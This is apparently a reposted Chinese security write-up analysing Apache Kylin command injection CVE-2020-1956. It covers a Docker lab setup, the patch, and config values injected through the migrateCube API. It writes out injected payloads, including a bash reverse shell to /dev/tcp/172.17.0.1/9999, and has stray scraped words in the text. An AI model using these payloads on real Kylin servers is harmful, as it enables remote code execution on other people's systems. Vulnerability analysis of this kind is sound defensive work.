Apache Kylin 命令注入漏洞 CVE-2020-1956 POC 分析

做者:香依香偎
原文連接:聞道解惑(wendao_jiehuo)
本文爲做者投稿,Seebug Paper 期待你的分享,凡經採用即有禮品相送!
投稿郵箱:paper@seebug.org


html

CVE-2020-1956

2020年5月22日,CNVD 通報了 Apache Kylin 存在命令注入漏洞 CVE-2020-1956,地址在 http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202005-1133java

Apache Kylin 是美國 Apache 軟件基金會的一款開源的分佈式分析型數據倉庫。該產品主要提供 Hadoop/Spark 之上的 SQL 查詢接口及多維分析(OLAP)等功能。git

Apache Kylin 中的靜態 API 存在安全漏洞。攻擊者可藉助特製輸入利用該漏洞在系統上執行任意OS命令。如下產品及版本受到影響:Apache Kylin 2.3.0版本至2.3.2版本,2.4.0版本至2.4.1版本,2.5.0版本至2.5.2版本,2.6.0版本至2.6.5版本,3.0.0-alpha版本,3.0.0-alpha2版本,3.0.0-beta版本,3.0.0版本,3.0.1版本。github

下面就來分析一下這個漏洞。web

1、搭建環境

Kylin 的環境並很差搭建,包括 Hadoop、Hbase、Spark、Kafka 等等一系列的組件須要安裝配置。幸虧,Kylin 官網文檔 http://kylin.apache.org/cn/docs/install/kylin_docker.html 提供了 Docker 環境的啓動指南,分別執行這兩個命令便可一鍵啓動。docker

docker pull apachekylin/apache-kylin-standalone:3.0.1
docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1

使用默認密碼 admin/KYLIN 登陸,就能看到已經配置好的模型(models),環境搭建大功告成。shell

2、Migrate Cube

這個漏洞的補丁代碼在 github 上,地址是 https://github.com/apache/kylin/commit/9cc3793ab2f2f0053c467a9b3f38cb7791cd436a#apache

能夠看出,漏洞點在 CubeService.java 中的 migrateCube() 函數,漏洞緣由是使用 String.format() 格式化待執行的系統命令且未作過濾,致使命令內容可被注入,涉及的參數包括 srcCfgUridstCfgUriprojectName三個。api

Migrate Cube 是什麼?在官網的文檔的 Restful 章節 中,能夠看到這個 Restful接口的描述:安全

接口中顯示須要兩個路徑入參,分別是 cubeproject。回看 kylin 頁面上的表格裏,已經顯示了 cube name 和對應的 Project

咱們選擇第一行記錄中的cubekylin_sales_cube 和對應的 Projectlearn_kylin 做爲路徑參數,POST 這個報文看看。

收到錯誤響應,提示 One click migration is disable

One click migration is disable 的提示,看起來有點眼熟。回看一眼patch code,嘿,原來這個錯誤提示就在 migrateCube() 函數的開頭呀。

對應的配置檢查函數 isAllowAutoMigrateCube()KylinConfigBase.java 中,從配置項中讀取了 kylin.tool.auto-migrate-cube.enabled,默認值爲 FALSE

若是要把配置修改成 true,有兩個辦法。

  • 方法一:使用 docker exec -it bash 命令進入容器,修改其中 conf/kylin.properties 文件,增長 kylin.tool.auto-migrate-cube.enabled=true 的配置項,而後在容器中使用 bin/kylin stopbin/kylin start 命令重啓 kylin

  • 方法二:在 WEB 界面上點擊 SYSTEMSET Config,手動輸入配置項名稱 kylin.tool.auto-migrate-cube.enabled 和值 True

方法一是永久有效,只是須要重啓 kylin 進程;方法二當即生效但進程重啓或 Reload Config 以後就失效。咱們選擇相對簡單一些的方法二來操做。

修改完配置以後,再次發送 POST Migrate Cube 的報文,此次的報錯提示爲 Source configuration should not be empty.

對應代碼中的 srcCfgUridstCfgUri 的非空檢查。

這兩個值一樣來自於配置項,分別是 kylin.tool.auto-migrate-cube.src-configkylin.tool.auto-migrate-cube.dest-config

咱們能夠用前面配置 kylin.tool.auto-migrate-cube.enabled 一樣的方法來配置這兩個值。不過,在配置以前,你有沒有注意到,這兩個值,就是命令注入的關鍵參數呢?

3、命令注入

好,用 destCfgUri 來注入試試。在界面上 Set Config,把 srcCfgUri 配置爲 /home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie,將 destCfgUri 配置爲 /tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/xiang; echo 。注意其中注入了 touch /tmp/xiang 的系統命令。

從新發起 Migrate Cube 的請求。

收到 200 成功響應。

查看 docker 容器,注入的命令 touch /tmp/xiang 已經成功執行。

能夠反彈 shell 麼?固然能夠。將 kylin.tool.auto-migrate-cube.dest-config 配置爲 /tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; bash -i >& /dev/tcp/172.17.0.1/9999 0>&1; echo 。其中注入的命令從 touch /tmp/xiang 換成了反彈 shell 的命令 bash -i >& /dev/tcp/172.17.0.1/9999 0>&1,反彈到宿主機 172.17.0.1 上。

在宿主機上啓動監聽。

再發送一次 Migrate Cube 報文,等待幾秒便可獲取反彈 shell


Paper 本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址:https://paper.seebug.org/1237/

相關文章
相關標籤/搜索